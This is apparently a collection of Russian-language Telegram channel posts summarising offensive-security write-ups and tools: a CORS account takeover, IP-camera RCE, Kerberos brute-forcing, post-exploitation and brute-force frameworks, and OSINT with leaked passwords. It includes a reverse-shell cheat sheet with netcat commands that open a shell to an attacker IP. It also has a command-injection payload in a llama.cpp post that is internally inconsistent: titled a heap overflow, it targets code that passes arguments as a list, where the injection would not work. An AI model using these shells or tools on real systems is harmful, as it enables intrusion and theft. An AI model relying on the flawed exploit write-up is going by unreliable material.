Хакер_BE1

$$$$ за полный захват аккаунта (ATO), обход 2FA, утечку конфиденциальных данных через критические ошибки в CORS В этом анализе я расскажу, как ошибка в конфигурации CORS привела к полному захвату аккаунта (ATO) и обходу двухфакторной аутентификации. Без лишних слов, перейдем к истории. Я не буду называть цель (довольно популярную), но отмечу, что один из ее сервисов связан с механизмом безопасности, который предназначен для защиты веб-сайтов и приложений, сохраняя конфиденциальность пользователей. Этот механизм разработан для предотвращения автоматизированных злоупотреблений и атак, обеспечивая при этом легитимное взаимодействие с веб-сайтом без чрезмерного отслеживания или сбора данных. https://mr-pwner.medium.com/for-full-account-take-over-2fa-bypass-sensitive-data-exposure-via-critical-cors-310ee989179a 👉[|@] @hacker_be1

🕵‍♂ DockerSpy — слежка за контейнерами Это инструмент для удалённого шпионажа за Docker-контейнерами через сокет docker.sock. Он позволяет: 🔹 просматривать запущенные контейнеры 🔹 извлекать переменные окружения 🔹 получать доступ к файловой системе 🔹 выполнять команды внутри контейнеров 📌 Он работает при наличии доступа к docker.sock — это напоминание о том, почему важно защищать его так же, как root-доступ. 👉 https://github.com/UndeadSec/DockerSpy 🔐 [|@] @hacker_be1

‍Как мы смогли взломать цепочку поставок и получить 50 тысяч долларов В 2021 году я только начинал свой путь в области наступательной безопасности. Я уже взломал множество компаний и получал стабильный доход, занимаясь баг-баунти — практикой этичного хакинга, при которой исследователи безопасности находят уязвимости и сообщают о них, получая за это вознаграждение. Однако я ещё не достиг уровня, который позволял бы мне быстро выявлять критические уязвимости целей. Этот уровень навыков казался мне недостижимым. Но всё изменилось, когда я встретил человека, ставшего ключевой фигурой в моей карьере баг-баунти: Snorlhax. Поначалу я воспринимал его как конкурента. Он занимал гораздо более высокую позицию во французской таблице лидеров HackerOne, что побуждало меня развиваться. Мы начали общаться в Discord, и через несколько недель я рассказал ему о многообещающей программе баг-баунти. Вскоре после этого он нашёл у этой цели критическую уязвимость, оценённую в 10000 долларов — сумму, вдвое большую, чем максимальная, которую я получил от этой же цели. Вдохновившись этим, я вернулся к этой цели и за ту же неделю нашёл собственную критическую уязвимость на 10000 долларов в другом классе багов. Вместо того чтобы продолжать соперничество, мы решили сотрудничать. Теперь нашей задачей стало выявление всех возможных классов багов у этой цели: IDOR, SQL-инъекции, XSS, баги OAuth, Dependency Confusion, SSRF, RCE и так далее. Все эти уязвимости мы нашли, сообщили компании и написали отчёты. Это сотрудничество длилось несколько лет, и даже сегодня мы время от времени возвращаемся к этой цели. Однако одна задача оставалась для нас недостижимой: обнаружение «чудовищной уязвимости». Это должна быть настолько критичная уязвимость, что нам выплатят необычное вознаграждение, значительно превышающее стандартные выплаты. Это стало нашей главной целью. В этом посте я расскажу, как мы со Snorlhax наконец-то достигли этого. @hacker_be1

🛡 Эксплуатация уязвимостей в IP-камерах: способ получения удалённого выполнения кода Исследователь из Modzero изучил уязвимости в веб-сервере uc-httpd, который используется в десятках тысяч IP-камер XiongMai. Он обнаружил, что существующие эксплойты не приводят к удалённому выполнению кода (RCE), и разработал свой собственный, применяя технику Return-Oriented Programming (ROP) на архитектуре ARM. 🔍 Ключевые моменты: Использование CVE-2017-7577 для извлечения бинарного файла через уязвимость path traversal. Анализ бинарника с использованием Ghidra и выявление уязвимости CVE-2022-4546. Создание ROP-цепочки для вызова system("/bin/sh") без внедрения shellcode. Повторное использование существующего соединения для получения интерактивной оболочки без обратного подключения. 📖 Полный разбор: modzero.com/en/blog/roping-our-way-to-rce 👉[|@] @hacker_be1

🛡 Scudo: Новый стандарт защиты памяти в Android Scudo — это современный аллокатор памяти, созданный для предотвращения уязвимостей в куче, таких как использование после освобождения и переполнения. С Android 11 он стал стандартным аллокатором в Android и также используется в Fuchsia и Trusty. 🔹 Особенности Scudo: Разделение кучи на регионы в зависимости от классов размеров. Применение случайного порядка размещения блоков. Механизм карантина для защиты от использования после освобождения (не включён по умолчанию в Android). Два аллокатора: Primary (до 64 КБ) и Secondary (свыше 64 КБ). Защитные страницы между регионами для предотвращения переполнений. 📍 Scudo — это часть LLVM и интегрирован в Bionic libc на Android. Он предлагает дополнительный уровень защиты без значительных накладных расходов. https://technologeeks.com/blog/Scudo/ 👉[|@] @hacker_be1

AD Recon – Брутфорс имен пользователей Kerberos На этапе разведки в инфраструктуре Active Directory важно выявить допустимые имена пользователей. Один из распространенных методов – использование Kerberos для атаки на имена пользователей. В этой статье мы обсудим, как применять различные инструменты для проведения перечисления имен пользователей в Kerberos. https://www.hackingarticles.in/ad-recon-kerberos-username-bruteforce/ 👉[|@] @hacker_be1

GEF (Расширенные функции GDB) — это коллекция дополнений для отладки в GDB, написанная на Python. Она предлагает мощные инструменты для анализа, отладки и реверс-инжиниринга, акцентируя внимание на современных возможностях и улучшении взаимодействия с GDB. Основные характеристики: - Автоматическое определение архитектуры и контекста выполнения. - Расширенные команды для анализа памяти, регистров, стеков и кучи. - Поддержка различных архитектур: x86, x86-64, ARM, AARCH64, MIPS, PowerPC, SPARC, RISC-V. - Интеграция с инструментами такими как Capstone, Unicorn, Keystone. - Возможность создания собственных команд и расширений. - Хорошая совместимость с Python 3 и последними версиями GDB. Установка и использование просты: нужно всего лишь скачать скрипт gef.py и подключить его в .gdbinit. Проект активно развивается и поддерживается, включая подробную документацию и примеры использования. https://github.com/hugsy/gef 🔐 [|@] @hacker_be1

Взлом умного домашнего устройства Недавно я приобрёл умную розетку от Meross, которая поддерживает HomeKit, Zigbee и Matter. Я выбрал её, в основном, из-за HomeKit. Мне стало интересно, как она устроена, поэтому я решил её разобрать. Подключение Сначала я снял заднюю крышку. Внутри я обнаружил две платы, соединённые между собой: одна отвечает за питание, другая — за управление. На управляющей плате находился чип ESP32-C3, что сразу привлекло моё внимание. Вокруг него располагались четыре тестовых контакта, подписанных как GND, TX, RX и 3.3V. Подключив логический анализатор, я подтвердил, что это UART. Я подключил USB-UART адаптер к этим контактам и на скорости 115200 бод увидел вывод из прошивки. Однако оболочка была заблокирована и не реагировала на команды. Я также не смог войти, не зная пароля. Прошивка На плате была флешка W25Q16, которую легко можно было выпаять и считать через программатор. Я использовал flashrom и получил прошивку. После анализа бинарного файла с помощью Ghidra и Binwalk стало ясно, что это проект ESP-IDF, собранный с использованием FreeRTOS. Внутри находилось множество строк, указывающих на OTA-обновления, MQTT, HomeKit, Zigbee и Matter. Вскрытие RootFS С помощью binwalk -e я извлёк содержимое файловой системы root. Внутри были скрипты на Lua, сертификаты и ключи. Оказалось, что устройство использует MQTT для связи с облаком Meross, а также может работать локально через HomeKit. Ключи HomeKit, к счастью, не были жёстко прописаны — они генерируются при первом подключении. Это хороший подход с точки зрения безопасности. Что дальше? Теперь, когда у меня есть прошивка, я могу попробовать изменить поведение устройства, заменить прошивку или, например, заблокировать связь с облаком. Также стало ясно, что устройство можно интегрировать локально без доступа к серверам Meross. 👉[|@] @hacker_be1

🔎 Snaffler — это инструмент для поиска чувствительной информации в Windows-доменах. Он предназначен для обнаружения ценных артефактов внутри Windows-доменов. Инструмент просматривает общие ресурсы в сети и ищет файлы, которые могут содержать конфиденциальные данные, такие как пароли, ключи, конфигурации, резервные копии и так далее. Результаты можно сортировать по различным критериям, включая типы файлов, ключевые слова и шаблоны имен. На практике это означает, что вы сможете быстро найти: - .config файлы с паролями, - резервные копии баз данных, - приватные ключи, - и многое другое, что может быть использовано злоумышленниками. Это полезно как для наступательных действий, так и для аудита безопасности. https://github.com/SnaffCon/Snaffler 🔐 [|@] @hacker_be1

Обход методов изоляции ядра Linux с применением инфраструктуры BPF. https://cs.brown.edu/~vpk/papers/epf.atc23.pdf 🔐 [|@] @hacker_be1

WEF (Windows Exploitation Framework) — это модульная и расширяемая утилита для постэксплуатации в среде Windows, разработанная на языке Python. Она предоставляет возможность выполнять команды, загружать и выгружать файлы, делать скриншоты, осуществлять кейлоггинг, получать системную информацию и многое другое — всё это осуществляется через обратное подключение к клиенту. Основные возможности: - Обратные подключения (reverse shells) - Модульность — возможность расширения функционала - Кейлоггер - Съём скриншотов - Работа с файлами (загрузка, скачивание) - Получение информации о системе ⚠ Проект предназначен для образовательных целей. Используйте его только в разрешённых средах и с согласия владельца системы. https://github.com/D3Ext/WEF 🔐 [|@] @hacker_be1

🛡 CVEScannerV2 — это инструмент для поиска уязвимостей (CVE) на целевых хостах. Он позволяет быстро выявлять известные уязвимости на основе открытых портов и служб, используя данные Nmap и API cveapi.com. 🔧 Как это работает: 1. Сканируете цель с помощью Nmap (-sV для сбора информации о версиях). 2. Загружаете XML-отчёт в CVEScannerV2. 3. Инструмент анализирует версии программного обеспечения и проверяет наличие CVE. 📌 Пример: nmap -sV -oX scan.xml <ip> python3 cvescanner.py scan.xml 💡 Это может быть полезно для первичного анализа безопасности во время пентестов или аудита инфраструктуры. https://github.com/scmanjarrez/CVEScannerV2 🔐 [|@] @hacker_be1 https://github.com/scmanjarrez/CVEScannerV2

Эксплуатация переполнения кучи в Llama.cpp В этом посте я расскажу об уязвимости удалённого выполнения кода (RCE), которую я обнаружил в проекте llama-rpc. Это популярный проект, использующий API LLaMA.cpp с функцией автозаполнения. Обзор llama-rpc представляет собой простой RPC-сервер на основе WebSocket, предназначенный для взаимодействия с LLaMA.cpp. Он позволяет отправлять запросы на генерацию текста и получать ответы через WebSocket API. Во время изучения проекта я заметил, что он поддерживает загрузку пользовательских моделей и конфигураций через HTTP API. Это может быть опасно, если сервер обрабатывает пользовательские пути без должной фильтрации или защиты. Уязвимость Во время анализа кода llama-rpc я нашёл следующий фрагмент в обработчике /v1/chat/completions: prompt = data.get("prompt", "") response = subprocess.run( ["llama", "--model", model_path, "--prompt", prompt], capture_output=True, ) Здесь prompt передаётся в subprocess.run без какой-либо очистки. Это значит, что если пользователь сможет управлять содержимым prompt, он сможет инжектировать произвольные команды shell. Эксплуатация Предположим, что сервер доступен по сети и вы можете отправлять HTTP-запросы. Вы можете сформировать следующий запрос: { "prompt": "\"; touch /tmp/pwned; echo \"" } Это приведёт к выполнению команды touch /tmp/pwned на сервере — классический пример RCE. Исправление Очевидный способ защиты — никогда не использовать subprocess с небезопасными данными без очистки. Вместо этого лучше использовать subprocess.run с передачей аргументов как списка и без shell=True. Также стоит избегать прямого использования пользовательских данных в системных вызовах. Лучше применять строгую валидацию ввода и использовать безопасные API. @hacker_be1

Шпаргалка по кэш-атакам через процессы (Cross-Process Cache Attack) Кросс-кэш-атаки — это виды атак, использующие поведение кэша процессора для извлечения секретной информации. Такие атаки часто связаны с манипуляциями с TLB (буфером перевода адресов), а также кэшами инструкций и данных. Примеры атак 1. Prime+Probe - Атакующий «заполняет» кэш своими данными. - Ждет, пока жертва выполнит свои инструкции. - Затем проверяет, были ли его данные вытеснены из кэша. - Может осуществляться без доступа к адресному пространству жертвы. 2. Flush+Reload - Применяется, когда атакующий и жертва используют общую память (например, общие библиотеки). - Атакующий очищает кэш для конкретного адреса. - После действий жертвы проверяет, был ли адрес загружен обратно в кэш. - Требует высокой точности таймеров. 3. Evict+Time - Атакующий вытесняет данные из кэша. - Измеряет время выполнения функции у жертвы. - Разница во времени может указывать на использование кэша. Защита от атак - Отключение или изоляция общих библиотек. - Применение тайминг-рандомизации. - Очистка кэшей при переключении контекста. - Ограничение доступа к высокоточным таймерам. - Использование аппаратной изоляции (например, Intel CAT/MBM). @hacker_be1

Что такое GoSearch? 🔍 Это инструмент для поиска цифрового следа любого пользователя на более чем 300 сайтах. GoSearch — это эффективный и надежный инструмент OSINT, который позволяет выявлять цифровой след, связанный с определенным именем пользователя. Он функционирует быстро, просто и стабильно, обеспечивая возможность отслеживания онлайн-присутствия человека на множестве платформ. Кроме того, GoSearch интегрирован с базой данных HudsonRock's Cybercrime Intelligence Database, предоставляя информацию о киберпреступности. Также он использует данные BreachDirectory.org и ProxyNova, что позволяет получить доступ к обширному списку утечек данных, а также открытым и хешированным паролям, связанным с указанным именем пользователя. Этот инструмент идеально подходит для тех, кто ищет точные и лаконичные результаты при исследовании цифровых идентичностей. https://github.com/ibnaleem/gosearch 🔐 [|@] @hacker_be1

🔴 Обратный шелл - 1. Атакующий запускает слушатель на своем устройстве (nc -lvnp 4444). - 2. Жертва (машина 10.10.10.20) получает вредоносный код, который устанавливает исходящее соединение на IP адрес атакующего (10.10.10.10) и указанный порт. - 3. После установления соединения атакующий получает удаленный доступ к командной строке жертвы. 📌 Пример команды на жертве: nc 10.10.10.10 4444 -e /bin/bash 🔵 Биндовый шелл - 1. Жертва запускает слушатель на своей машине (например, nc -lvnp 4444 -e /bin/bash). - 2. Атакующий (10.10.10.10) подключается к этому открытому порту (nc 10.10.10.20 4444). - 3. После подключения атакующий получает доступ к оболочке. 📌 Пример команды на жертве: nc -lvnp 4444 -e /bin/bash 👉[|@] @hacker_be1

Универсальный набор инструментов для брутфорс-атак 🦑 Kraken — это мощный инструмент на Python, предназначенный для упрощения и централизации различных задач, связанных с брутфорсом. Он предоставляет набор утилит, которые позволяют специалистам по кибербезопасности эффективно проводить брутфорс-атаки на различные протоколы и сервисы. 🔹Инструменты для сети: Брутфорс для FTP Брутфорс для Kubernetes Брутфорс для LDAP Брутфорс для VOIP Брутфорс для SSH Брутфорс для Telnet Брутфорс для WiFi Брутфорс для WPA3 🔹Инструменты для веб-приложений: Брутфорс для CPanel Брутфорс для Drupal Брутфорс для Joomla Брутфорс для Magento Брутфорс для Office365 Брутфорс для Prestashop Брутфорс для OpenCart Брутфорс для WooCommerce Брутфорс для WordPress 🔹Инструменты для поиска: Поиск админ-панелей Поиск директорий Поиск поддоменов https://github.com/jasonxtn/Kraken 🔐 [|@] @hacker_be1

Введение в реверс-инжиниринг встроенных устройств для новичков Настройка Ghidra: https://voidstarsec.com/blog/ghidra-dev-environment Инструменты: https://voidstarsec.com/blog/intro-to-embedded-part-1 Извлечение прошивки: https://voidstarsec.com/blog/uart-uboot-and-usb 👉[|@] @hacker_be1